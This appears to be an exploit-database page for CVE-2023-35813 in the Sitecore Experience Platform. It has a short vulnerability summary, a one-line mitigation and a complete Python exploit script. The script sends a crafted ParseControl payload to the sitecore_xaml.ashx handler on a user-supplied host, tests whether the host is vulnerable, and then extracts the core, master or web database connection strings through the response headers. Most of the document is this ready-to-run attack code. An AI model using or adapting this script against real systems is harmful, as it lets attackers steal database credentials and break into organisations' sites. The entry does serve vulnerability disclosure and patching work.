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Sitecore Experience Platform
by:
abhishek morla
8.1
CVSS
CRITICAL
Remote Code Execution
94
CWE
Product Name: Sitecore Experience Platform
Affected Version From: 9
Affected Version To: 10.3
Patch Exists: YES
Related CWE: CVE-2023-35813
CPE: a:sitecore:experience_platform:8.2
Metasploit:
Platforms Tested: Windows 64-bit, Mozilla Firefox
2024

Sitecore – Remote Code Execution v8.2

The vulnerability in Sitecore versions 9.0 to 10.3 and 8.2 allows remote code execution, impacting all Experience Platform topologies (XM, XP, XC). An attacker can exploit this vulnerability to retrieve core connection strings. This vulnerability has been assigned CVE-2023-35813.

Mitigation:

Ensure the Sitecore installation is updated to the latest version and follow security best practices. Restrict network access to the Sitecore server.
Source

Exploit-DB raw data:

#!/usr/bin/env python3
#
# Exploit Title: Sitecore - Remote Code Execution v8.2 
# Exploit Author: abhishek morla
# Google Dork: N/A
# Date: 2024-01-08
# Vendor Homepage: https://www.sitecore.com/
# Software Link: https://dev.sitecore.net/
# Version: 10.3
# Tested on: windows64bit / mozila firefox 
# CVE : CVE-2023-35813
# The vulnerability impacts all Experience Platform topologies (XM, XP, XC) from 9.0 Initial Release to 10.3 Initial Release; 8.2 is also impacted
# Blog : https://medium.com/@abhishekmorla/uncovering-cve-2023-35813-retrieving-core-connection-strings-in-sitecore-5502148fce09
# Video POC : https://youtu.be/vWKl9wgdTB0

import argparse
import requests
from urllib.parse import quote
from rich.console import Console

console = Console()
def initial_test(hostname):
    # Initial payload to test vulnerability
    test_payload = '''
    <%@Register
        TagPrefix = 'x'
        Namespace = 'System.Runtime.Remoting.Services'
        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    %>
    <x:RemotingService runat='server'
    Context-Response-ContentType='TestVulnerability'
    />
    '''
    encoded_payload = quote(test_payload)

    url = f"https://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

    response = requests.post(url, headers=headers, data=data, verify=False)

    # Check for the test string in the Content-Type of the response
    return 'TestVulnerability' in response.headers.get('Content-Type', '')

def get_payload(choice):
    # Payload templates for different options
    payloads = {
        '1': "<%$ ConnectionStrings:core %>",
        '2': "<%$ ConnectionStrings:master %>",
        '3': "<%$ ConnectionStrings:web %>"
    }

    base_payload = '''
    <%@Register
        TagPrefix = 'x'
        Namespace = 'System.Runtime.Remoting.Services'
        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    %>
    <x:RemotingService runat='server'
    Context-Response-ContentType='{}'
    />
    '''

    return base_payload.format(payloads.get(choice, "Invalid"))

def main(hostname):
    if initial_test(hostname):
        print("Exploiting, Please wait...")
        console.print("[bold green]The target appears to be vulnerable. Proceed with payload selection.[/bold green]")
        print("Select the payload to use:")
        print("1: Core connection strings")
        print("2: Master connection strings")
        print("3: Web connection strings")
        payload_choice = input("Enter your choice (1, 2, or 3): ")

        payload = get_payload(payload_choice)
        encoded_payload = quote(payload)

        url = f"http://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

        response = requests.post(url, headers=headers, data=data)

        if 'Content-Type' in response.headers:
            print("Content-Type from the response header:")
            print("\n")
            print(response.headers['Content-Type'])
        else:
            print("No Content-Type in the response header. Status Code:", response.status_code)
    else:
        print("The target does not appear to be vulnerable to CVE-2023-35813.")


if __name__ == "__main__":
    console.print("[bold green]Author: Abhishek Morla[/bold green]")
    console.print("[bold red]CVE-2023-35813[/bold red]")
    parser = argparse.ArgumentParser(description='Test for CVE-2023-35813 vulnerability in Sitecore')
    parser.add_argument('hostname', type=str, help='Hostname of the target Sitecore instance')
    args = parser.parse_args()

    main(args.hostname)